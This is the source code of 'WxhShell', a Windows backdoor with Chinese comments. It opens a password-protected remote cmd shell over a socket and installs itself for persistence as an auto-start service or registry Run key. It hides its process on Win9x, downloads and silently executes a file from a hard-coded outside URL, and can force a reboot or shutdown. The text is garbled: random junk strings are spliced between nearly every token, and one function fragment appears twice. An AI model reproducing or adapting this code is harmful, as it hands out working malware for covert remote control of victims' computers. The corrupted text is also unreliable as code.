6@S6E(^ } PROCESS_BASIC_INFORMATION; :2 ;Jo^6Se okNo-\Dh! PROCNTQSIP NtQueryInformationProcess; G0cG%sIl TkbaoD static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I[\~pi, static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UM}u(;oo%) }pc9uvmIJ HANDLE hProcess; APQq F/ PROCESS_BASIC_INFORMATION pbi; =OVDJ0ozZ G#M)5'Q]U HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C0rf if(NULL == hInst ) return 0; ny={OhP- Y.tx$% g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4w4B\Na>l g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YO6BzS/~ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cTqkM@S jN=<dq
~ if (!NtQueryInformationProcess) return 0; 6_LeP9s ) DSGcxM+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D:)Wr, 26 if(!hProcess) return 0; cs9^&N:w[ v9$!v^U"D if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rr<E#w >ZA=9v CloseHandle(hProcess); {7o#Ve ab0Sx hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gT+/nSrLV if(hProcess==NULL) return 0; enoj4g7em^ :Mf" HMODULE hMod; $Y$9]G": char procName[255]; #el27"QP0 unsigned long cbNeeded; NE995; M>Q]{/V7T if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lOIk$"Ne f0<zK! CloseHandle(hProcess); md!6@)S-p !_S>ER if(strstr(procName,"services")) return 1; // 以服务启动 V5|ANt jYsAL=oh,* return 0; // 注册表启动 #;!&8iH } S{YzHK 8HF^^Cva // 主模块 !e$gp(4
int StartWxhshell(LPSTR lpCmdLine)
B.z$0=b { 8v:{BHX SOCKET wsl; p!.~hw9 BOOL val=TRUE; ~%{2Z_t$ int port=0; n ]ikc| struct sockaddr_in door; XtF
m5\U DwD$T%kF if(wscfg.ws_autoins) Install(); b7Y g~Lw xO$P
C, port=atoi(lpCmdLine); @hLkU4S R1jl <= if(port<=0) port=wscfg.ws_port; pYO =pL^Q 'CLZ7pV WSADATA data; qnm_#!&uHT if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;C]Ufk ^?z%f_ri if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 8hRcB[F~S setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zg;$vIhn door.sin_family = AF_INET; f60w% door.sin_addr.s_addr = inet_addr("127.0.0.1"); Iv`IJQH> door.sin_port = htons(port); c]=2>ov)hR ^aFm6HS1 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9I/b$$?D closesocket(wsl); P
rt}
01$ return 1; Sb.8d]DW } :t?B) =:W2NN' if(listen(wsl,2) == INVALID_SOCKET) { sFU< PgV closesocket(wsl); =TB_|`5;j return 1; &H(yLd[ } xn8KOwX% Wxhshell(wsl); jU,Xlgz(A WSACleanup(); =8^+M1I OLw]BJXYaE return 0; LiJYyp .Po"qoGy } _vQ52H, XTol|a= // 以NT服务方式启动 ez4!5&TzRm VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L"_XWno { J0G@]H DWORD status = 0; A|A~$v("R DWORD specificError = 0xfffffff; z^Q'GBoBA [K{{P|(q serviceStatus.dwServiceType = SERVICE_WIN32; $-4](br| serviceStatus.dwCurrentState = SERVICE_START_PENDING; gesbt serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "W<Y1$Y=Y serviceStatus.dwWin32ExitCode = 0; 'uPAG;)m serviceStatus.dwServiceSpecificExitCode = 0; P5S]h serviceStatus.dwCheckPoint = 0; %&ejO=r serviceStatus.dwWaitHint = 0; cx}Yu8 nD
wh hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "CJVtO if (hServiceStatusHandle==0) return; j50vPV8m MJn-] E status = GetLastError(); 5'%I4@Qn+ if (status!=NO_ERROR) K`*GZ+b|` { r924!zdbR serviceStatus.dwCurrentState = SERVICE_STOPPED; ,0l
Od< serviceStatus.dwCheckPoint = 0; U,<m%C" serviceStatus.dwWaitHint = 0; l.YE@EL serviceStatus.dwWin32ExitCode = status; >7U/TVd& serviceStatus.dwServiceSpecificExitCode = specificError; >KKWhJ SetServiceStatus(hServiceStatusHandle, &serviceStatus); q?,PFvs" return; mvn- QP~" } F%>$WN#2 C=D* serviceStatus.dwCurrentState = SERVICE_RUNNING; 1ni+)p>] serviceStatus.dwCheckPoint = 0; XcR=4q|7 serviceStatus.dwWaitHint = 0; ^'UM@dd?! if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Xr*I`BJ } 1v@#b@NXM7 W/'1ftn?D // 处理NT服务事件,比如:启动、停止 Mw[3711v VOID WINAPI NTServiceHandler(DWORD fdwControl) j,n:%5P\v { Xfiwblg switch(fdwControl) ]HKt7 %, { {q>%Sr]9 case SERVICE_CONTROL_STOP: 1\hLwG6Jj serviceStatus.dwWin32ExitCode = 0; 0Tj,TF serviceStatus.dwCurrentState = SERVICE_STOPPED; o|$D|E serviceStatus.dwCheckPoint = 0; Q3@ zUjq_Q serviceStatus.dwWaitHint = 0;
A l[ZU { wO??"${OH SetServiceStatus(hServiceStatusHandle, &serviceStatus); K:Z$V } 7Sdo*z return; *PmZqe case SERVICE_CONTROL_PAUSE: fRp] serviceStatus.dwCurrentState = SERVICE_PAUSED; \"P{8<h.3 break; [6GYYu\ case SERVICE_CONTROL_CONTINUE: >hunV'vu' serviceStatus.dwCurrentState = SERVICE_RUNNING; %9-^,og break; D(b01EQ;d case SERVICE_CONTROL_INTERROGATE: r. 82RoG?G break; E@}F^0c }; E'iE#He SetServiceStatus(hServiceStatusHandle, &serviceStatus); $5nMD= } _!xrBdaJ IZVP- // 标准应用程序主函数 8ud12^s$ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?sfqg gi { O&!R7T &raqrY|V // 获取操作系统版本 6St=r)_ OsIsNt=GetOsVer(); |Xt G9A> GetModuleFileName(NULL,ExeFile,MAX_PATH); xAmtm" S^O9}<2g // 从命令行安装 YQ0#j'}/ if(strpbrk(lpCmdLine,"iI")) Install(); %m&6'Rpfk f*k7 @[rSv // 下载执行文件 qxZIH if(wscfg.ws_downexe) { y)kxR if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >Kgw2,y+ WinExec(wscfg.ws_filenam,SW_HIDE); q,v<:sS9T } QM,#:m1o {}$9
70y if(!OsIsNt) { /=2aD5r // 如果时win9x,隐藏进程并且设置为注册表启动 _p$/.~Xo9 HideProc(); \o<ucp\J StartWxhshell(lpCmdLine); 3,PR6a,b' } -^&=I3bp else hSehJjEoM if(StartFromService()) :{u`qi // 以服务方式启动 |q`NJ StartServiceCtrlDispatcher(DispatchTable); dT|XcVKg else =<]`'15"V // 普通方式启动 &V4Zmn?UU StartWxhshell(lpCmdLine); ~yv7[`+Tgg b]u$!W return 0; vh,(]t } C% -Tw]T$_ y3~=8!Tj?Q b6k`R4S3 o78u>O y =========================================== sn"((BsO< G`!x+FB O|Uz)Y94 c5]Xqq, *-0s
`rC 9qx4F<
" Q2
q~m8( e5_Hmuk| #include <stdio.h> 4`O[U#? #include <string.h> w>W #cTt #include <windows.h> 20Zxv! #include <winsock2.h> Zue3Z{31T #include <winsvc.h> OP/DWf #include <urlmon.h> JFv70rBe SxF'2ii #pragma comment (lib, "Ws2_32.lib") T//xxH]w- #pragma comment (lib, "urlmon.lib") kn3w6] G'|ql5Zw #define MAX_USER 100 // 最大客户端连接数 W3:j Z: #define BUF_SOCK 200 // sock buffer aoy Be|H~= #define KEY_BUFF 255 // 输入 buffer yr\ClIU 0%%1:W- #define REBOOT 0 // 重启 Jn+ -G4h$ #define SHUTDOWN 1 // 关机 ?Q:SVxzUd w=KfkdAJ*/ #define DEF_PORT 5000 // 监听端口 "ESc^28 )KZMRAT- #define REG_LEN 16 // 注册表键长度 PUQ",;&y1 #define SVC_LEN 80 // NT服务名长度 !*]i3 ,{7v \$ 9C1@B@ // 从dll定义API 2 "&GH1 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \,S|>CPQ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9'MGv*Ho typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ni;)6,i typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n)yDep]$G M?l v // wxhshell配置信息 =l(euBb struct WSCFG { v3"6'.f;bY int ws_port; // 监听端口 "Enb char ws_passstr[REG_LEN]; // 口令 4cQP+ n int ws_autoins; // 安装标记, 1=yes 0=no KV0*dB; char ws_regname[REG_LEN]; // 注册表键名 k^
<]:B char ws_svcname[REG_LEN]; // 服务名 !wp1Df[ char ws_svcdisp[SVC_LEN]; // 服务显示名 Bx45yaT char ws_svcdesc[SVC_LEN]; // 服务描述信息 A]c'TT@6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bM?gAY]mB8 int ws_downexe; // 下载执行标记, 1=yes 0=no 7O1MC 8{ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '$FF/|{ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oAO{4xP XG|N$~N+ 2 }; }
=OE.cf@ Kx9u|fp5 // default Wxhshell configuration E2DfG^sGV struct WSCFG wscfg={DEF_PORT, *JK0X "xuhuanlingzhe", ]:e_Y,@ 1, izP)t "Wxhshell", C0N
:z.)4 "Wxhshell", L:HvrB~ "WxhShell Service", B[8bkFS>] "Wrsky Windows CmdShell Service", s{b\\$Rb "Please Input Your Password: ", Jc":zR@5 1, O9daeIF0# "http://www.wrsky.com/wxhshell.exe", GDSV:]hL "Wxhshell.exe" }=X: F1S }; Q6m8N q|*^{(tWs // 消息定义模块 3(e_2v char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [9sEc char *msg_ws_prompt="\n\r? for help\n\r#>"; G&S2U=KdV% char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L{1sYR%s\ char *msg_ws_ext="\n\rExit."; t:2DB) char *msg_ws_end="\n\rQuit."; $udhTI#, char *msg_ws_boot="\n\rReboot..."; 44KoOY_ char *msg_ws_poff="\n\rShutdown..."; N3"Jo uP char *msg_ws_down="\n\rSave to "; &
/8Tth86 40?RiwwD char *msg_ws_err="\n\rErr!"; qyM/p.mP char *msg_ws_ok="\n\rOK!"; a``|sn9 ]g-%7g| char ExeFile[MAX_PATH]; JuO47}i] 5 int nUser = 0; ~,/@]6S&Y HANDLE handles[MAX_USER]; I)mB]j int OsIsNt; :)1"yo\ P<g(i 6] SERVICE_STATUS serviceStatus; }{R*pmv$bN SERVICE_STATUS_HANDLE hServiceStatusHandle; =}Tm8b0 sD3ZZcy|= // 函数声明 X&9:^$m int Install(void); v+LJx int Uninstall(void); (;#c[eKy int DownloadFile(char *sURL, SOCKET wsh); m!7%5=Fc int Boot(int flag); \Kf\%Q void HideProc(void); )-
W1Wtom int GetOsVer(void); zT>!xGTu7~ int Wxhshell(SOCKET wsl); 6*i** void TalkWithClient(void *cs); ET.jjV int CmdShell(SOCKET sock); c)#P}Ai int StartFromService(void); X+!+&RAN* int StartWxhshell(LPSTR lpCmdLine); JmCMFqB9 )JzY%a SP VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uzdPA'u VOID WINAPI NTServiceHandler( DWORD fdwControl ); T^ktfgXq :)#;0o5 // 数据结构和表定义 $z=%e#(!I SERVICE_TABLE_ENTRY DispatchTable[] = i}vJI}S.$ { f3O6&1D {wscfg.ws_svcname, NTServiceMain}, oz&`3` {NULL, NULL} ZA="Dac }; 8e?/LA%MU 'dwW~4|B // 自我安装 %jHm9{|X int Install(void) #I=EYl=Vvi { dJR[9T_OF char svExeFile[MAX_PATH]; sqKx?r72 HKEY key; wqo:gW_ strcpy(svExeFile,ExeFile); 2|;|C8C m?(8T|i // 如果是win9x系统,修改注册表设为自启动 [rx9gOOa& if(!OsIsNt) { f=^xU
P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NifQsy)*% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <IR#W$[ RegCloseKey(key); e(7#>O%1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u+V*U5v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yz68g?" RegCloseKey(key); j4IVIj@$` return 0; =e6pv# } -$8ew+ } [oh06_rB } zA5nr` else { e \Qys<2r !@& 3q| // 如果是NT以上系统,安装为系统服务 h~>1-T8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }StzhV{GS if (schSCManager!=0) akvi^]x { -+E.I*st SC_HANDLE schService = CreateService
^xHKoOTj[ ( IWE([<i}i[ schSCManager, mI8EeMa{ wscfg.ws_svcname, `Na()r$T wscfg.ws_svcdisp, "VZ1LVI SERVICE_ALL_ACCESS, y`RzcXblIZ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LhO\a SERVICE_AUTO_START, 8~(xi<"e SERVICE_ERROR_NORMAL, ?TA7i b_ svExeFile, XmQ;Roe NULL, 5t:Zp\$+` NULL, yX!fj\R NULL, 8xB-cE NULL, u[)X="-e# NULL m4m-JD|v ); 58Ibje if (schService!=0) ^
9+
Qxv { v*.R<-X: CloseServiceHandle(schService); )=f}vHg$ CloseServiceHandle(schSCManager); O?OAXPK2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jq
H)o2"/ strcat(svExeFile,wscfg.ws_svcname); hJM&rM7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { eDpi0htm RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); htB7 j( RegCloseKey(key); +;W%v7%< return 0; Gj?Zbl < } =n,;S W } R%.`h CloseServiceHandle(schSCManager); {($bzT7c } {L;sF=d } ;VLDXvGd v\@qMaPY return 1; 5[;[ Te9=S } e_b,{l# Ii+3yE@c // 自我卸载 $U[d#:] int Uninstall(void) "5N4
of
8 { y11^q*} HKEY key; 1]If<
< oEX,\@+u if(!OsIsNt) { i~Tt\UA> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xCZ_x$bk RegDeleteValue(key,wscfg.ws_regname); 4$R!) RegCloseKey(key); [#GBn0BG) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3uYLA4[-B RegDeleteValue(key,wscfg.ws_regname); =G}a%)?As\ RegCloseKey(key); nWsRauY return 0; jgE{JK\n4 } [R4#bl } yepRJ%mp } cB,^?djJ3 else { *fm?"0M5
Fbo"Csn_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *z[vp2
TN if (schSCManager!=0) 7(2}Vs!5 { Tu(:? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z<eu=OD4t if (schService!=0) K#A& { <4TI;yy6? if(DeleteService(schService)!=0) { +jE)kaV% CloseServiceHandle(schService); %R$)bGT CloseServiceHandle(schSCManager); 5x@ U< return 0; h.tj8O1 } tEL;,1 CloseServiceHandle(schService); L<V20d9 } b=Nsz$[ CloseServiceHandle(schSCManager); ^x&x|ckR! } 4PVg? } 21OfTV-+3 /K!)}f(6 return 1; St?mq* , } D:9^^uVp #<Y.+: // 从指定url下载文件 Q%O9DCi int DownloadFile(char *sURL, SOCKET wsh) aX.BaK6I { KJFQ)#SW! HRESULT hr; p>)1Z<D"a char seps[]= "/"; =+X*$'<J char *token; ;,-)Z|W char *file; wA{)9. char myURL[MAX_PATH]; W^elzN(
char myFILE[MAX_PATH]; D&m1yl@\J dFg&|Lp strcpy(myURL,sURL); "dCIg{j token=strtok(myURL,seps); b!g)/%C
while(token!=NULL) 9-n]_AF`0 { t'F$/mx. file=token; >IQ&*Bb token=strtok(NULL,seps); #xmiUN,| } ^(&2 |6NvByc, GetCurrentDirectory(MAX_PATH,myFILE); :vi %7 strcat(myFILE, "\\"); ]/!*^;cY( strcat(myFILE, file); Q+f|.0r send(wsh,myFILE,strlen(myFILE),0); 2>"{El|PbN send(wsh,"...",3,0); HV!P]82Pa hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Jha*BaD~N if(hr==S_OK) %;4#?.W8 return 0; _3
[E$Lg else wSjy31 return 1; ZS:[ZehF UP-2{zb |? } 9>+>s ?IgK nxN("$'cq // 系统电源模块 pjO int Boot(int flag) |g7)A?2J~ { NH/jkt&F[ HANDLE hToken; mV]~}7*Y; TOKEN_PRIVILEGES tkp; l&Q@+xb> Z2{$FN if(OsIsNt) { B#."cg4VR OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C|}yE;*a LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ' q9Ejig tkp.PrivilegeCount = 1; ]Q^8
9? tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '_g&!zi8~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -6 v?iiZr if(flag==REBOOT) { lU|ltnU if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6Hc25NuQZ return 0; &/EZn xl } Uj 3{c else { F4(;O7j9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &[\zs&[@y return 0; &>B|?d } !5+9~/; } *RkvM?o@jC else { ~=wBF if(flag==REBOOT) { ,hK
=x if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mp3 Dc return 0; tc;$7F ; } j,,#B4b else { WV}pE~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p"\-iY] return 0; k'$7RjCu } lItr*,A] } =uwG.,lC O'SxTwO return 1; ?{Xp'D\z } s5 Fn("h]n yPbOiA*lHz // win9x进程隐藏模块 HH!SqkwT void HideProc(void) *=z.H
* { |q o3
E hQSJt[8My HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -eSI"To L< if ( hKernel != NULL ) 6O5E4= { p*P0<01Z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7;}TNK\+v ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ku^2K FreeLibrary(hKernel); C~iFFh6: } kGq<Zmy| VAxk?P0j6 return; _}Gs9sHr0K } RkdAzv!Y7 # 9f
4{=\ // 获取操作系统版本 %4To@#c int GetOsVer(void) d\z':d.Tt { 43J8PMY OSVERSIONINFO winfo; }=3W(1cu- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HSl$ U0 GetVersionEx(&winfo); ]*S_fme if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uuhvd h= return 1; 8DrKq]& else Qe/=(P< return 0; Hi{!<e2 } hG'2(Y! Z.LF5ur // 客户端句柄模块 S67T:ARS int Wxhshell(SOCKET wsl) a-TsD}'X { zGFW?|o< SOCKET wsh; [TV"mA struct sockaddr_in client; }\ui}\ DWORD myID; ^_Z Qf :kI
x?cc while(nUser<MAX_USER) .uagD[${ { d>4e9M" int nSize=sizeof(client); B<'V7#L_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H+2J.&Ch if(wsh==INVALID_SOCKET) return 1; PZA;10z $j}sxxTT handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e$(i!G) if(handles[nUser]==0) *DoEDw closesocket(wsh); ~h[lu^ZSi else G@Zi3 5 nUser++; S+OI?QS } J>Rt2K WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8CSvg{B 2|w.A! return 0; u&I~%s } ~(0Y`+gC j'0*|f ^z // 关闭 socket /0YNB) void CloseIt(SOCKET wsh) Q+ST8 { KF-gcRh closesocket(wsh); XY QUU0R nUser--; yM D*>8/ ExitThread(0); .y[K =p3 } $l[*Y 1@qb.9wZ6 // 客户端请求句柄 +Vf|YLbhJ void TalkWithClient(void *cs) S(-=I!.G{ { iii$)4V C X'E+ SOCKET wsh=(SOCKET)cs; s9GPDfZ
char pwd[SVC_LEN]; TAC\2*bWje char cmd[KEY_BUFF]; @%cJjZ5y char chr[1]; "RX?"pB int i,j; {}^ELw x!.VWG tb while (nUser < MAX_USER) { FZ2-e hJ4.: if(wscfg.ws_passstr) { <,hBoHZSL if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ze\~-0ks+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IKr7"` //ZeroMemory(pwd,KEY_BUFF); |95/'a* i=0; `oz7Q(` while(i<SVC_LEN) { ".i{WyTt /+1Fa): // 设置超时 Oc'z?6axWv fd_set FdRead; SCH![Amq struct timeval TimeOut; o%9>elOju FD_ZERO(&FdRead); _0j}(Q>|H# FD_SET(wsh,&FdRead); S+>]8ZY TimeOut.tv_sec=8; x)yf!Dv5$ TimeOut.tv_usec=0; |f}NO~CA int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); EhUy7b,1_ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RK3/!C`
X5/{Mx`8Oz if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); coFg69\^ pwd=chr[0]; S&uL9)Glb if(chr[0]==0xd || chr[0]==0xa) { I~qiF%?d pwd=0; 4K;j:ZJ"x break; n)7icSc } G-(c+6Mn i++; )?bb]hZg?O } IP;@unBl t(rU6miN // 如果是非法用户,关闭 socket G-^ccdT if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W=\dsdnu* } _TXV{<E6 4F4u1r+ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y#Vy:x[ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?(<AT]h V: XZ&v3ul while(1) { Yr= mLT|JN MH Yf8HN ZeroMemory(cmd,KEY_BUFF); $B?7u@>, D5m\u$~V // 自动支持客户端 telnet标准 VfcQibm j=0; lmcDA,7 while(j<KEY_BUFF) { `k|nf9_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `s_TY%&_}g cmd[j]=chr[0]; QMxz@HGa| if(chr[0]==0xa || chr[0]==0xd) { J|
'(;Ay4u cmd[j]=0; yrs3`/ break; U[D<%7f } ZtLn*M j++; ?.4l1X6Ba } ibc/x v2 Xh/av[Q // 下载文件 ,6S8s if(strstr(cmd,"http://")) { Fb'wC send(wsh,msg_ws_down,strlen(msg_ws_down),0); u"gp"> if(DownloadFile(cmd,wsh)) dR+$7N$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); kZ9pgdI else "\[>@_p h send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pzr-}>xrZ } n_Y]iAoc` else { 5w1[KO#K| X8x>oV;8 switch(cmd[0]) { sD3|Qj; xH[yIfHkG@ // 帮助 __iyBaX case '?': { \^4$}@*] send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (F YJ^o break; <Y2!c,"
} SXz([Z{) // 安装 TMCA?r%Y\ case 'i': { w0Y%}7 if(Install()) RWo B7{G send(wsh,msg_ws_err,strlen(msg_ws_err),0); !S-U8KI| else [ d7]&i}*| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1[`<JCFClc break; c7IR06E } .A/H+.H; // 卸载 }2,#[mM case 'r': { ItPK if(Uninstall()) CM1a<bV< send(wsh,msg_ws_err,strlen(msg_ws_err),0); `=DCX%Vw else [1^wy# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yo,!u\^x break; T6roz } p&mtKLv // 显示 wxhshell 所在路径 *$C[![ case 'p': { yWtr, char svExeFile[MAX_PATH]; HjS^
nYl strcpy(svExeFile,"\n\r"); !y~b;>887 strcat(svExeFile,ExeFile); j]"xck send(wsh,svExeFile,strlen(svExeFile),0); !@Lc/'w break; 9nS! } k#*yhG,]' // 重启 #aX@mPm
case 'b': { XSjelA? send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4"x;XVNM[ if(Boot(REBOOT)) \Egc5{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); m@u`$rOh else { ><R.z(4% closesocket(wsh); AuipK*&g ExitThread(0); i?dKmRp(@y } :&)/vq break; O
f @#VZ } {dXBXC/Ju // 关机 mS}x2& case 'd': { `j}d=zZ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]UT|BE4v if(Boot(SHUTDOWN)) !o':\hex6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); L_K\i? else { lY*]&8/= closesocket(wsh); bK8F | ExitThread(0); r Ob"S* } 'A!/pUML break; F(~_L. } $uK"@Mw // 获取shell 6n\z53Mk case 's': { A'QGTT CmdShell(wsh); _I-VWDCk closesocket(wsh); \nAHpF ExitThread(0); H&Y{jqua break; Y*cJ4hQ } PFy;qk // 退出 8{SU?MHQLE case 'x': { bTQa'y`3 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 355Sd;* CloseIt(wsh); D>b5Uwt break; auTTvJ } 'Rd*X6dv // 离开 @@3,+7%1 case 'q': { l()MYuLNV send(wsh,msg_ws_end,strlen(msg_ws_end),0); qJXsf M6 closesocket(wsh); J7wQ=!g WSACleanup(); Dnm.!L8 exit(1); :@%-f:iDj break; fb.\V]K } DwY<qNWT } X0Z-1bs } 27E9NO= ~K-*q{6Q // 提示信息 m_!vIUOz if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jp3di&x } &M3ES}6 } H]$=*(aje +iH30v return; _p J_V>l } omv6_DdZ hQ}7Z&O // shell模块句柄 c\)&yGE int CmdShell(SOCKET sock) Xvj=*wg\Y { f UF;SqT STARTUPINFO si; r ctSS:1 ZeroMemory(&si,sizeof(si)); mDF"&.(j si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $rpTs?j*K$ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]r6BLZ[ % PROCESS_INFORMATION ProcessInfo; Ly)(_Tp@+ char cmdline[]="cmd"; A`
o?+2s_ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;j>Vt?:Pw return 0; v=.z|QD^1 } grCO-S|j^ (!VMnLlXRK // 自身启动模式 OVUs]uK int StartFromService(void) Xm8Z+}i { I51oG:6fR? typedef struct @bW[J { v-;XyVx DWORD ExitStatus; \%Ah^U)gS DWORD PebBaseAddress; rI<nUy P? DWORD AffinityMask; ?wLdW1&PpX DWORD BasePriority; :Dk@?o@2;C ULONG UniqueProcessId; Y0PGT5].@' ULONG InheritedFromUniqueProcessId; E +Ujpd } PROCESS_BASIC_INFORMATION; OS"{"P LGo2^Xx PROCNTQSIP NtQueryInformationProcess; 6i]Nr@1C Z[k#AgC) static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [EmOA.6 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j(%gMVu 'z-;* !A}j HANDLE hProcess; L`jB)wF/J PROCESS_BASIC_INFORMATION pbi; aI={,\ $K?T=a;z
